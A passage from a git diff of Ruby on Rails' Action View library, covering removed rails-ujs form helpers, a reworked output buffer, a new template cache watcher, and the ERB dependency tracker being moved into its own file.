-Rails.serializeElement = (element, additionalParam) ->
-  inputs = [element]
-  inputs = toArray(element.elements) if matches(element, 'form')
-  params = []
-
-  inputs.forEach (input) ->
-    return unless input.name
-    if matches(input, 'select')
-      toArray(input.options).forEach (option) ->
-        params.push(name: input.name, value: option.value) if option.selected
-    else if input.type isnt 'radio' and input.type isnt 'checkbox' or input.checked
-      params.push(name: input.name, value: input.value)
-
-  params.push(additionalParam) if additionalParam
-
-  params.map (param) ->
-    if param.name?
-      "#{encodeURIComponent(param.name)}=#{encodeURIComponent(param.value)}"
-    else
-      param
-  .join('&')
-
-# Helper function that returns form elements that match the specified CSS selector
-# If form is actually a "form" element this will return associated elements outside the from that have
-# the html form attribute set
-Rails.formElements = (form, selector) ->
-  if matches(form, 'form')
-    toArray(form.elements).filter (el) -> matches(el, selector)
-  else
-    toArray(form.querySelectorAll(selector))
-
-# Helper function which checks for blank inputs in a form that match the specified CSS selector
-Rails.blankInputs = (form, selector, nonBlank) ->
-  foundInputs = []
-  requiredInputs = toArray(form.querySelectorAll(selector or 'input, textarea'))
-  checkedRadioButtonNames = {}
-
-  requiredInputs.forEach (input) ->
-    if input.type is 'radio'
-      # Don't count unchecked required radio as blank if other radio with same name is checked,
-      # regardless of whether same-name radio input has required attribute or not. The spec
-      # states https://www.w3.org/TR/html5/forms.html#the-required-attribute
-      radioName = input.name
-      # Skip if we've already seen the radio with this name.
-      unless checkedRadioButtonNames[radioName]
-        # If none checked
-        if form.querySelectorAll("input[type=radio][name='#{radioName}']:checked").length == 0
-          radios = form.querySelectorAll("input[type=radio][name='#{radioName}']")
-          foundInputs = foundInputs.concat(toArray(radios))
-        # We only need to check each name once.
-        checkedRadioButtonNames[radioName] = radioName
-    else
-      valueToCheck = if input.type is 'checkbox' then input.checked else !!input.value
-      foundInputs.push(input) if valueToCheck is nonBlank
-  foundInputs
diff --git a/actionview/bin/test b/actionview/bin/test
index a7beb14b271a3..c53377cc970f4 100755
--- a/actionview/bin/test
+++ b/actionview/bin/test
@@ -1,4 +1,5 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
 
 COMPONENT_ROOT = File.expand_path("..", __dir__)
-require File.expand_path("../tools/test", COMPONENT_ROOT)
+require_relative "../../tools/test"
diff --git a/actionview/blade.yml b/actionview/blade.yml
deleted file mode 100644
index 9e5eb953a42f6..0000000000000
--- a/actionview/blade.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-load_paths:
-  - app/assets/javascripts
-
-logical_paths:
-  - rails-ujs.js
-
-build:
-  logical_paths:
-    - rails-ujs.js
-  path: lib/assets/compiled
-  clean: true
diff --git a/actionview/lib/action_view.rb b/actionview/lib/action_view.rb
index ca586f1d528a5..5a1ef0e847cf1 100644
--- a/actionview/lib/action_view.rb
+++ b/actionview/lib/action_view.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 #--
-# Copyright (c) 2004-2017 David Heinemeier Hansson
+# Copyright (c) David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -24,7 +26,9 @@
 require "active_support"
 require "active_support/rails"
 require "action_view/version"
+require "action_view/deprecator"
 
+# :include: ../README.rdoc
 module ActionView
   extend ActiveSupport::Autoload
 
@@ -33,31 +37,34 @@ module ActionView
   eager_autoload do
     autoload :Base
     autoload :Context
-    autoload :CompiledTemplates, "action_view/context"
     autoload :Digestor
     autoload :Helpers
     autoload :LookupContext
     autoload :Layouts
+    autoload :PathRegistry
     autoload :PathSet
     autoload :RecordIdentifier
     autoload :Rendering
     autoload :RoutingUrlFor
     autoload :Template
+    autoload :TemplateDetails
+    autoload :TemplatePath
+    autoload :UnboundTemplate
     autoload :ViewPaths
 
     autoload_under "renderer" do
       autoload :Renderer
       autoload :AbstractRenderer
       autoload :PartialRenderer
+      autoload :CollectionRenderer
+      autoload :ObjectRenderer
       autoload :TemplateRenderer
       autoload :StreamingTemplateRenderer
     end
 
     autoload_at "action_view/template/resolver" do
       autoload :Resolver
-      autoload :PathResolver
-      autoload :OptimizedFileSystemResolver
-      autoload :FallbackFileSystemResolver
+      autoload :FileSystemResolver
     end
 
     autoload_at "action_view/buffers" do
@@ -74,14 +81,19 @@ module ActionView
       autoload :MissingTemplate
       autoload :ActionViewError
       autoload :EncodingError
-      autoload :MissingRequestError
+      autoload :StrictLocalsError
       autoload :TemplateError
+      autoload :SyntaxErrorInTemplate
       autoload :WrongEncodingError
     end
   end
 
+  autoload :CacheExpiry
   autoload :TestCase
 
+  singleton_class.attr_accessor :render_tracker
+  self.render_tracker = :regex
+
   def self.eager_load!
     super
     ActionView::Helpers.eager_load!
@@ -92,5 +104,5 @@ def self.eager_load!
 require "active_support/core_ext/string/output_safety"
 
 ActiveSupport.on_load(:i18n) do
-  I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
+  I18n.load_path << File.expand_path("action_view/locale/en.yml", __dir__)
 end
diff --git a/actionview/lib/action_view/base.rb b/actionview/lib/action_view/base.rb
index 53871744674b1..1e865a872dc02 100644
--- a/actionview/lib/action_view/base.rb
+++ b/actionview/lib/action_view/base.rb
@@ -1,14 +1,17 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/attr_internal"
 require "active_support/core_ext/module/attribute_accessors"
 require "active_support/ordered_options"
 require "action_view/log_subscriber"
+require "action_view/structured_event_subscriber"
 require "action_view/helpers"
 require "action_view/context"
 require "action_view/template"
 require "action_view/lookup_context"
 
-module ActionView #:nodoc:
-  # = Action View Base
+module ActionView # :nodoc:
+  # = Action View \Base
   #
   # Action View templates can be written in several ways.
   # If the template file has a <tt>.erb</tt> extension, then it uses the erubi[https://rubygems.org/gems/erubi]
@@ -25,7 +28,7 @@ module ActionView #:nodoc:
   #     Name: <%= person.name %><br/>
   #   <% end %>
   #
-  # The loop is setup in regular embedding tags <tt><% %></tt>, and the name is written using the output embedding tag <tt><%= %></tt>. Note that this
+  # The loop is set up in regular embedding tags <tt><% %></tt>, and the name is written using the output embedding tag <tt><%= %></tt>. Note that this
   # is not just a usage suggestion. Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
   #
   #   <%# WRONG %>
@@ -42,9 +45,9 @@ module ActionView #:nodoc:
   # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
   # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
   #
-  #   <%= render "shared/header" %>
+  #   <%= render "application/header" %>
   #   Something really specific and terrific
-  #   <%= render "shared/footer" %>
+  #   <%= render "application/footer" %>
   #
   # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
   # result of the rendering. The output embedding writes it to the current template.
@@ -53,7 +56,7 @@ module ActionView #:nodoc:
   # variables defined using the regular embedding tags. Like this:
   #
   #   <% @page_title = "A Wonderful Hello" %>
-  #   <%= render "shared/header" %>
+  #   <%= render "application/header" %>
   #
   # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
   #
@@ -63,9 +66,9 @@ module ActionView #:nodoc:
   #
   # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
   #
-  #   <%= render "shared/header", { headline: "Welcome", person: person } %>
+  #   <%= render "application/header", { headline: "Welcome", person: person } %>
   #
-  # These can now be accessed in <tt>shared/header</tt> with:
+  # These can now be accessed in <tt>application/header</tt> with:
   #
   #   Headline: <%= headline %>
   #   First name: <%= person.first_name %>
@@ -78,10 +81,27 @@ module ActionView #:nodoc:
   # This is useful in cases where you aren't sure if the local variable has been assigned. Alternatively, you could also use
   # <tt>defined? headline</tt> to first check if the variable has been assigned before using it.
   #
+  # By default, templates will accept any <tt>locals</tt> as keyword arguments. To restrict what <tt>locals</tt> a template accepts, add a <tt>locals:</tt> magic comment:
+  #
+  #   <%# locals: (headline:) %>
+  #
+  #   Headline: <%= headline %>
+  #
+  # In cases where the local variables are optional, declare the keyword argument with a default value:
+  #
+  #   <%# locals: (headline: nil) %>
+  #
+  #   <% unless headline.nil? %>
+  #   Headline: <%= headline %>
+  #   <% end %>
+  #
+  # Read more about strict locals in {Action View Overview}[https://guides.rubyonrails.org/action_view_overview.html#strict-locals]
+  # in the guides.
+  #
   # === Template caching
   #
-  # By default, Rails will compile each template to a method in order to render it. When you alter a template,
-  # Rails will check the file's modification time and recompile it in development mode.
+  # By default, \Rails will compile each template to a method in order to render it. When you alter a template,
+  # \Rails will check the file's modification time and recompile it in development mode.
   #
   # == Builder
   #
@@ -134,40 +154,38 @@ module ActionView #:nodoc:
   #     end
   #   end
   #
-  # For more information on Builder please consult the {source
-  # code}[https://github.com/jimweirich/builder].
+  # For more information on Builder please consult the {source code}[https://github.com/rails/builder].
   class Base
     include Helpers, ::ERB::Util, Context
 
     # Specify the proc used to decorate input tags that refer to attributes with errors.
-    cattr_accessor :field_error_proc
-    @@field_error_proc = Proc.new { |html_tag, instance| "<div class=\"field_with_errors\">#{html_tag}</div>".html_safe }
+    cattr_accessor :field_error_proc, default: Proc.new { |html_tag, instance| content_tag :div, html_tag, class: "field_with_errors" }
 
     # How to complete the streaming when an exception occurs.
     # This is our best guess: first try to close the attribute, then the tag.
-    cattr_accessor :streaming_completion_on_exception
-    @@streaming_completion_on_exception = %("><script>window.location = "/500.html"</script></html>)
+    cattr_accessor :streaming_completion_on_exception, default: %("><script>window.location = "/500.html"</script></html>)
 
     # Specify whether rendering within namespaced controllers should prefix
     # the partial paths for ActiveModel objects with the namespace.
     # (e.g., an Admin::PostsController would render @post using /admin/posts/_post.erb)
-    cattr_accessor :prefix_partial_path_with_controller_namespace
-    @@prefix_partial_path_with_controller_namespace = true
+    class_attribute :prefix_partial_path_with_controller_namespace, default: true
 
     # Specify default_formats that can be rendered.
     cattr_accessor :default_formats
 
-    # Specify whether an error should be raised for missing translations
-    cattr_accessor :raise_on_missing_translations
-    @@raise_on_missing_translations = false
-
     # Specify whether submit_tag should automatically disable on click
-    cattr_accessor :automatically_disable_submit_tag
-    @@automatically_disable_submit_tag = true
+    cattr_accessor :automatically_disable_submit_tag, default: true
+
+    # Annotate rendered view with file names
+    cattr_accessor :annotate_rendered_view_with_filenames, default: false
 
     class_attribute :_routes
     class_attribute :logger
 
+    # Specify whether to omit autocomplete="off" on hidden inputs generated by helpers.
+    # Configured via `config.action_view.remove_hidden_field_autocomplete`
+    cattr_accessor :remove_hidden_field_autocomplete, default: false
+
     class << self
       delegate :erb_trim_mode=, to: "ActionView::Template::Handlers::ERB"
 
@@ -179,37 +197,118 @@ def cache_template_loading=(value)
         ActionView::Resolver.caching = value
       end
 
-      def xss_safe? #:nodoc:
+      def xss_safe? # :nodoc:
         true
       end
+
+      def with_empty_template_cache # :nodoc:
+        subclass = Class.new(self) {
+          # We can't implement these as self.class because subclasses will
+          # share the same template cache as superclasses, so "changed?" won't work
+          # correctly.
+          define_method(:compiled_method_container)           { subclass }
+          define_singleton_method(:compiled_method_container) { subclass }
+
+          def inspect
+            "#<ActionView::Base:#{'%#016x' % (object_id << 1)}>"
+          end
+        }
+      end
+
+      def changed?(other) # :nodoc:
+        compiled_method_container != other.compiled_method_container
+      end
     end
 
-    attr_accessor :view_renderer
+    attr_reader :view_renderer, :lookup_context
     attr_internal :config, :assigns
 
-    delegate :lookup_context, to: :view_renderer
     delegate :formats, :formats=, :locale, :locale=, :view_paths, :view_paths=, to: :lookup_context
 
     def assign(new_assigns) # :nodoc:
-      @_assigns = new_assigns.each { |key, value| instance_variable_set("@#{key}", value) }
+      @_assigns = new_assigns
+      new_assigns.each { |key, value| instance_variable_set("@#{key}", value) }
     end
 
-    def initialize(context = nil, assigns = {}, controller = nil, formats = nil) #:nodoc:
-      @_config = ActiveSupport::InheritableOptions.new
+    # :stopdoc:
 
-      if context.is_a?(ActionView::Renderer)
-        @view_renderer = context
-      else
-        lookup_context = context.is_a?(ActionView::LookupContext) ?
-          context : ActionView::LookupContext.new(context)
-        lookup_context.formats  = formats if formats
-        lookup_context.prefixes = controller._prefixes if controller
-        @view_renderer = ActionView::Renderer.new(lookup_context)
-      end
+    def self.empty
+      with_view_paths([])
+    end
+
+    def self.with_view_paths(view_paths, assigns = {}, controller = nil)
+      with_context ActionView::LookupContext.new(view_paths), assigns, controller
+    end
+
+    def self.with_context(context, assigns = {}, controller = nil)
+      new context, assigns, controller
+    end
+
+    # :startdoc:
+
+    def initialize(lookup_context, assigns, controller) # :nodoc:
+      @lookup_context = lookup_context
+
+      @view_renderer = ActionView::Renderer.new @lookup_context
+      @current_template = nil
 
-      assign(assigns)
       assign_controller(controller)
       _prepare_context
+
+      super()
+
+      # Assigns must be called last to minimize the number of shapes
+      assign(assigns)
+    end
+
+    def _run(method, template, locals, buffer, add_to_stack: true, has_strict_locals: false, &block)
+      _old_output_buffer, _old_virtual_path, _old_template = @output_buffer, @virtual_path, @current_template
+      @current_template = template if add_to_stack
+      @output_buffer = buffer
+
+      if has_strict_locals
+        begin
+          public_send(method, locals, buffer, **locals, &block)
+        rescue ArgumentError => argument_error
+          public_send_line = __LINE__ - 2
+          frame = argument_error.backtrace_locations[1]
+          if frame.path == __FILE__ && frame.lineno == public_send_line
+            raise StrictLocalsError.new(argument_error, @current_template)
+          end
+          raise
+        end
+      else
+        public_send(method, locals, buffer, &block)
+      end
+    ensure
+      @output_buffer, @virtual_path, @current_template = _old_output_buffer, _old_virtual_path, _old_template
+    end
+
+    def compiled_method_container
+      raise NotImplementedError, <<~msg.squish
+        Subclasses of ActionView::Base must implement `compiled_method_container`
+        or use the class method `with_empty_template_cache` for constructing
+        an ActionView::Base subclass that has an empty cache.
+      msg
+    end
+
+    def in_rendering_context(options)
+      old_view_renderer  = @view_renderer
+      old_lookup_context = @lookup_context
+
+      if !lookup_context.html_fallback_for_js && options[:formats]
+        formats = Array(options[:formats])
+        if formats == [:js]
+          formats << :html
+        end
+        @lookup_context = lookup_context.with_prepended_formats(formats)
+        @view_renderer = ActionView::Renderer.new @lookup_context
+      end
+
+      yield @view_renderer
+    ensure
+      @view_renderer = old_view_renderer
+      @lookup_context = old_lookup_context
     end
 
     ActiveSupport.run_load_hooks(:action_view, self)
diff --git a/actionview/lib/action_view/buffers.rb b/actionview/lib/action_view/buffers.rb
index 089daa6d60452..08bb3e2709eb3 100644
--- a/actionview/lib/action_view/buffers.rb
+++ b/actionview/lib/action_view/buffers.rb
@@ -1,27 +1,111 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/output_safety"
 
 module ActionView
-  class OutputBuffer < ActiveSupport::SafeBuffer #:nodoc:
-    def initialize(*)
-      super
-      encode!
+  # Used as a buffer for views
+  #
+  # The main difference between this and ActiveSupport::SafeBuffer
+  # is for the methods `<<` and `safe_expr_append=` the inputs are
+  # checked for nil before they are assigned and `to_s` is called on
+  # the input. For example:
+  #
+  #   obuf = ActionView::OutputBuffer.new "hello"
+  #   obuf << 5
+  #   puts obuf # => "hello5"
+  #
+  #   sbuf = ActiveSupport::SafeBuffer.new "hello"
+  #   sbuf << 5
+  #   puts sbuf # => "hello\u0005"
+  #
+  class OutputBuffer # :nodoc:
+    def initialize(buffer = "")
+      @raw_buffer = String.new(buffer)
+      @raw_buffer.encode!
+    end
+
+    delegate :length, :empty?, :blank?, :encoding, :encode!, :force_encoding, to: :@raw_buffer
+
+    def to_s
+      @raw_buffer.html_safe
+    end
+    alias_method :html_safe, :to_s
+
+    def to_str
+      @raw_buffer.dup
+    end
+
+    def html_safe?
+      true
     end
 
     def <<(value)
-      return self if value.nil?
-      super(value.to_s)
+      unless value.nil?
+        value = value.to_s
+        @raw_buffer << if value.html_safe?
+          value
+        else
+          ERB::Util.unwrapped_html_escape(value)
+        end
+      end
+      self
     end
+    alias :concat :<<
     alias :append= :<<
 
+    def safe_concat(value)
+      @raw_buffer << value
+      self
+    end
+    alias :safe_append= :safe_concat
+
     def safe_expr_append=(val)
       return self if val.nil?
-      safe_concat val.to_s
+      @raw_buffer << val.to_s
+      self
     end
 
-    alias :safe_append= :safe_concat
+    def initialize_copy(other)
+      @raw_buffer = other.to_str
+    end
+
+    def capture(*args)
+      new_buffer = +""
+      old_buffer, @raw_buffer = @raw_buffer, new_buffer
+      yield(*args)
+      new_buffer.html_safe
+    ensure
+      @raw_buffer = old_buffer
+    end
+
+    def ==(other)
+      other.class == self.class && @raw_buffer == other.to_str
+    end
+
+    def raw
+      RawOutputBuffer.new(self)
+    end
+
+    attr_reader :raw_buffer
+  end
+
+  class RawOutputBuffer # :nodoc:
+    def initialize(buffer)
+      @buffer = buffer
+    end
+
+    def <<(value)
+      unless value.nil?
+        @buffer.raw_buffer << value.to_s
+      end
+    end
+
+    def raw
+      self
+    end
   end
 
-  class StreamingBuffer #:nodoc:
+  class StreamingBuffer # :nodoc:
     def initialize(block)
       @block = block
     end
@@ -39,6 +123,15 @@ def safe_concat(value)
     end
     alias :safe_append= :safe_concat
 
+    def capture
+      buffer = +""
+      old_block, @block = @block, ->(value) { buffer << value }
+      yield
+      buffer.html_safe
+    ensure
+      @block = old_block
+    end
+
     def html_safe?
       true
     end
@@ -46,5 +139,27 @@ def html_safe?
     def html_safe
       self
     end
+
+    def raw
+      RawStreamingBuffer.new(self)
+    end
+
+    attr_reader :block
+  end
+
+  class RawStreamingBuffer # :nodoc:
+    def initialize(buffer)
+      @buffer = buffer
+    end
+
+    def <<(value)
+      unless value.nil?
+        @buffer.block.call(value.to_s)
+      end
+    end
+
+    def raw
+      self
+    end
   end
 end
diff --git a/actionview/lib/action_view/cache_expiry.rb b/actionview/lib/action_view/cache_expiry.rb
new file mode 100644
index 0000000000000..d166d70f97b17
--- /dev/null
+++ b/actionview/lib/action_view/cache_expiry.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+module ActionView
+  module CacheExpiry # :nodoc: all
+    class ViewReloader
+      def initialize(watcher:, &block)
+        @mutex = Mutex.new
+        @watcher_class = watcher
+        @watched_dirs = nil
+        @watcher = nil
+        @previous_change = false
+
+        ActionView::PathRegistry.file_system_resolver_hooks << method(:rebuild_watcher)
+      end
+
+      def updated?
+        build_watcher unless @watcher
+        @previous_change || @watcher.updated?
+      end
+
+      def execute
+        return unless @watcher
+
+        watcher = nil
+        @mutex.synchronize do
+          @previous_change = false
+          watcher = @watcher
+        end
+        watcher.execute
+      end
+
+      private
+        def reload!
+          ActionView::LookupContext::DetailsKey.clear
+        end
+
+        def build_watcher
+          @mutex.synchronize do
+            old_watcher = @watcher
+
+            if @watched_dirs != dirs_to_watch
+              @watched_dirs = dirs_to_watch
+              new_watcher = @watcher_class.new([], @watched_dirs) do
+                reload!
+              end
+              @watcher = new_watcher
+
+              # We must check the old watcher after initializing the new one to
+              # ensure we don't miss any events
+              @previous_change ||= old_watcher&.updated?
+            end
+          end
+        end
+
+        def rebuild_watcher
+          return unless @watcher
+          build_watcher
+        end
+
+        def dirs_to_watch
+          all_view_paths.uniq.sort
+        end
+
+        def all_view_paths
+          ActionView::PathRegistry.all_file_system_resolvers.map(&:path)
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/context.rb b/actionview/lib/action_view/context.rb
index 31aa73a0cf1b6..776db5836a044 100644
--- a/actionview/lib/action_view/context.rb
+++ b/actionview/lib/action_view/context.rb
@@ -1,33 +1,29 @@
-module ActionView
-  module CompiledTemplates #:nodoc:
-    # holds compiled template code
-  end
+# frozen_string_literal: true
 
+module ActionView
   # = Action View Context
   #
   # Action View contexts are supplied to Action Controller to render a template.
   # The default Action View context is ActionView::Base.
   #
-  # In order to work with ActionController, a Context must just include this module.
-  # The initialization of the variables used by the context (@output_buffer, @view_flow,
-  # and @virtual_path) is responsibility of the object that includes this module
-  # (although you can call _prepare_context defined below).
+  # In order to work with Action Controller, a Context must just include this
+  # module. The initialization of the variables used by the context
+  # (@output_buffer, @view_flow, and @virtual_path) is responsibility of the
+  # object that includes this module (although you can call _prepare_context
+  # defined below).
   module Context
-    include CompiledTemplates
     attr_accessor :output_buffer, :view_flow
 
     # Prepares the context by setting the appropriate instance variables.
-    # :api: plugin
     def _prepare_context
       @view_flow     = OutputFlow.new
-      @output_buffer = nil
+      @output_buffer = ActionView::OutputBuffer.new
       @virtual_path  = nil
     end
 
     # Encapsulates the interaction with the view flow so it
     # returns the correct buffer on +yield+. This is usually
     # overwritten by helpers to add more behavior.
-    # :api: plugin
     def _layout_for(name = nil)
       name ||= :layout
       view_flow.get(name).html_safe
diff --git a/actionview/lib/action_view/dependency_tracker.rb b/actionview/lib/action_view/dependency_tracker.rb
index 451eeec9d69d3..1b076f1debf6c 100644
--- a/actionview/lib/action_view/dependency_tracker.rb
+++ b/actionview/lib/action_view/dependency_tracker.rb
@@ -1,8 +1,17 @@
+# frozen_string_literal: true
+
 require "concurrent/map"
 require "action_view/path_set"
+require "action_view/render_parser"
 
 module ActionView
   class DependencyTracker # :nodoc:
+    extend ActiveSupport::Autoload
+
+    autoload :ERBTracker
+    autoload :RubyTracker
+    autoload :WildcardResolver
+
     @trackers = Concurrent::Map.new
 
     def self.find_dependencies(name, template, view_paths = nil)
@@ -27,147 +36,11 @@ def self.remove_tracker(handler)
       @trackers.delete(handler)
     end
 
-    class ERBTracker # :nodoc:
-      EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
-
-      # A valid ruby identifier - suitable for class, method and specially variable names
-      IDENTIFIER = /
-        [[:alpha:]_] # at least one uppercase letter, lowercase letter or underscore
-        [[:word:]]*  # followed by optional letters, numbers or underscores
-      /x
-
-      # Any kind of variable name. e.g. @instance, @@class, $global or local.
-      # Possibly following a method call chain
-      VARIABLE_OR_METHOD_CHAIN = /
-        (?:\$|@{1,2})?            # optional global, instance or class variable indicator
-        (?:#{IDENTIFIER}\.)*      # followed by an optional chain of zero-argument method calls
-        (?<dynamic>#{IDENTIFIER}) # and a final valid identifier, captured as DYNAMIC
-      /x
-
-      # A simple string literal. e.g. "School's out!"
-      STRING = /
-        (?<quote>['"]) # an opening quote
-        (?<static>.*?) # with anything inside, captured as STATIC
-        \k<quote>      # and a matching closing quote
-      /x
-
-      # Part of any hash containing the :partial key
-      PARTIAL_HASH_KEY = /
-        (?:\bpartial:|:partial\s*=>) # partial key in either old or new style hash syntax
-        \s*                          # followed by optional spaces
-      /x
-
-      # Part of any hash containing the :layout key
-      LAYOUT_HASH_KEY = /
-        (?:\blayout:|:layout\s*=>)   # layout key in either old or new style hash syntax
-        \s*                          # followed by optional spaces
-      /x
-
-      # Matches:
-      #   partial: "comments/comment", collection: @all_comments => "comments/comment"
-      #   (object: @single_comment, partial: "comments/comment") => "comments/comment"
-      #
-      #   "comments/comments"
-      #   'comments/comments'
-      #   ('comments/comments')
-      #
-      #   (@topic)         => "topics/topic"
-      #    topics          => "topics/topic"
-      #   (message.topics) => "topics/topic"
-      RENDER_ARGUMENTS = /\A
-        (?:\s*\(?\s*)                                  # optional opening paren surrounded by spaces
-        (?:.*?#{PARTIAL_HASH_KEY}|#{LAYOUT_HASH_KEY})? # optional hash, up to the partial or layout key declaration
-        (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN})      # finally, the dependency name of interest
-      /xm
-
-      LAYOUT_DEPENDENCY = /\A
-        (?:\s*\(?\s*)                                  # optional opening paren surrounded by spaces
-        (?:.*?#{LAYOUT_HASH_KEY})                      # check if the line has layout key declaration
-        (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN})      # finally, the dependency name of interest
-      /xm
-
-      def self.supports_view_paths? # :nodoc:
-        true
-      end
-
-      def self.call(name, template, view_paths = nil)
-        new(name, template, view_paths).dependencies
-      end
-
-      def initialize(name, template, view_paths = nil)
-        @name, @template, @view_paths = name, template, view_paths
-      end
-
-      def dependencies
-        render_dependencies + explicit_dependencies
-      end
-
-      attr_reader :name, :template
-      private :name, :template
-
-      private
-        def source
-          template.source
-        end
-
-        def directory
-          name.split("/")[0..-2].join("/")
-        end
-
-        def render_dependencies
-          render_dependencies = []
-          render_calls = source.split(/\brender\b/).drop(1)
-
-          render_calls.each do |arguments|
-            add_dependencies(render_dependencies, arguments, LAYOUT_DEPENDENCY)
-            add_dependencies(render_dependencies, arguments, RENDER_ARGUMENTS)
-          end
-
-          render_dependencies.uniq
-        end
-
-        def add_dependencies(render_dependencies, arguments, pattern)
-          arguments.scan(pattern) do
-            add_dynamic_dependency(render_dependencies, Regexp.last_match[:dynamic])
-            add_static_dependency(render_dependencies, Regexp.last_match[:static])
-          end
-        end
-
-        def add_dynamic_dependency(dependencies, dependency)
-          if dependency
-            dependencies << "#{dependency.pluralize}/#{dependency.singularize}"
-          end
-        end
-
-        def add_static_dependency(dependencies, dependency)
-          if dependency
-            if dependency.include?("/")
-              dependencies << dependency
-            else
-              dependencies << "#{directory}/#{dependency}"
-            end
-          end
-        end
-
-        def resolve_directories(wildcard_dependencies)
-          return [] unless @view_paths
-
-          wildcard_dependencies.flat_map { |query, templates|
-            @view_paths.find_all_with_query(query).map do |template|
-              "#{File.dirname(query)}/#{File.basename(template).split('.').first}"
-            end
-          }.sort
-        end
-
-        def explicit_dependencies
-          dependencies = source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
-
-          wildcards, explicits = dependencies.partition { |dependency| dependency[-1] == "*" }
-
-          (explicits + resolve_directories(wildcards)).uniq
-        end
+    case ActionView.render_tracker
+    when :ruby
+      register_tracker :erb, RubyTracker
+    else
+      register_tracker :erb, ERBTracker
     end
-
-    register_tracker :erb, ERBTracker
   end
 end
diff --git a/actionview/lib/action_view/dependency_tracker/erb_tracker.rb b/actionview/lib/action_view/dependency_tracker/erb_tracker.rb
new file mode 100644
index 0000000000000..2432ad99b3062
--- /dev/null
+++ b/actionview/lib/action_view/dependency_tracker/erb_tracker.rb
@@ -0,0 +1,163 @@
+# frozen_string_literal: true
+
+module ActionView
+  class DependencyTracker # :nodoc:
+    class ERBTracker # :nodoc:
+      EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
+
+      # A valid ruby identifier - suitable for class, method and specially variable names
+      IDENTIFIER = /
+        [[:alpha:]_] # at least one uppercase letter, lowercase letter or underscore
+        [[:word:]]*  # followed by optional letters, numbers or underscores
+      /x
+
+      # Any kind of variable name. e.g. @instance, @@class, $global or local.
+      # Possibly following a method call chain
+      VARIABLE_OR_METHOD_CHAIN = /
+        (?:\$|@{1,2})?            # optional global, instance or class variable indicator
+        (?:#{IDENTIFIER}\.)*      # followed by an optional chain of zero-argument method calls
+        (?<dynamic>#{IDENTIFIER}) # and a final valid identifier, captured as DYNAMIC
+      /x
+
+      # A simple string literal. e.g. "School's out!"
+      STRING = /
+        (?<quote>['"]) # an opening quote
+        (?<static>.*?) # with anything inside, captured as STATIC
+        \k<quote>      # and a matching closing quote
+      /x
+
+      # Part of any hash containing the :partial key
+      PARTIAL_HASH_KEY = /
+        (?:\bpartial:|:partial\s*=>) # partial key in either old or new style hash syntax
+        \s*                          # followed by optional spaces
+      /x
+
+      # Part of any hash containing the :layout key
+      LAYOUT_HASH_KEY = /
+        (?:\blayout:|:layout\s*=>)   # layout key in either old or new style hash syntax
+        \s*                          # followed by optional spaces
+      /x
+
+      # Matches:
+      #   partial: "comments/comment", collection: @all_comments => "comments/comment"
+      #   (object: @single_comment, partial: "comments/comment") => "comments/comment"
+      #
+      #   "comments/comments"
+      #   'comments/comments'
+      #   ('comments/comments')
+      #
+      #   (@topic)         => "topics/topic"
+      #    topics          => "topics/topic"
+      #   (message.topics) => "topics/topic"
+      RENDER_ARGUMENTS = /\A
+        (?:\s*\(?\s*)                                  # optional opening paren surrounded by spaces
+        (?:.*?#{PARTIAL_HASH_KEY}|#{LAYOUT_HASH_KEY})? # optional hash, up to the partial or layout key declaration
+        (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN})      # finally, the dependency name of interest
+      /xm
+
+      LAYOUT_DEPENDENCY = /\A
+        (?:\s*\(?\s*)                                  # optional opening paren surrounded by spaces
+        (?:.*?#{LAYOUT_HASH_KEY})                      # check if the line has layout key declaration
+        (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN})      # finally, the dependency name of interest
+      /xm
+
+      def self.supports_view_paths? # :nodoc:
+        true
+      end
+
+      def self.call(name, template, view_paths = nil)
+        new(name, template, view_paths).dependencies
+      end
+
+      def initialize(name, template, view_paths = nil)
+        @name, @template, @view_paths = name, template, view_paths
+      end
+
+      def dependencies
+        WildcardResolver.new(@view_paths, render_dependencies + explicit_dependencies).resolve
+      end
+
+      attr_reader :name, :template
+      private :name, :template
+
+      private
+        def source
+          template.source
+        end
+
+        def directory
+          name.split("/")[0..-2].join("/")
+        end
+
+        def render_dependencies
+          dependencies = []
+          render_calls = source.scan(/<%(?:(?:(?!<%).)*?\brender\b((?:(?!%>).)*?))%>/m).flatten
+
+          render_calls.each do |arguments|
+            add_dependencies(dependencies, arguments, LAYOUT_DEPENDENCY)
+            add_dependencies(dependencies, arguments, RENDER_ARGUMENTS)
+          end
+
+          dependencies
+        end
+
+        def add_dependencies(render_dependencies, arguments, pattern)
+          arguments.scan(pattern) do
+            match = Regexp.last_match
+            add_dynamic_dependency(render_dependencies, match[:dynamic])
+            add_static_dependency(render_dependencies, match[:static], match[:quote])
+          end
+        end
+
+        def add_dynamic_dependency(dependencies, dependency)
+          if dependency
+            dependencies << "#{dependency.pluralize}/#{dependency.singularize}"
+          end
+        end
+
+        def add_static_dependency(dependencies, dependency, quote_type)
+          if quote_type == '"' && dependency.include?('#{')
+            scanner = StringScanner.new(dependency)
+
+            wildcard_dependency = +""
+
+            while !scanner.eos?
+              if scanner.scan_until(/\#{/)
+                unmatched_brackets = 1
+                wildcard_dependency << scanner.pre_match
+
+                while unmatched_brackets > 0 && !scanner.eos?
+                  found = scanner.scan_until(/[{}]/)
+                  return unless found
+
+                  case scanner.matched
+                  when "{"
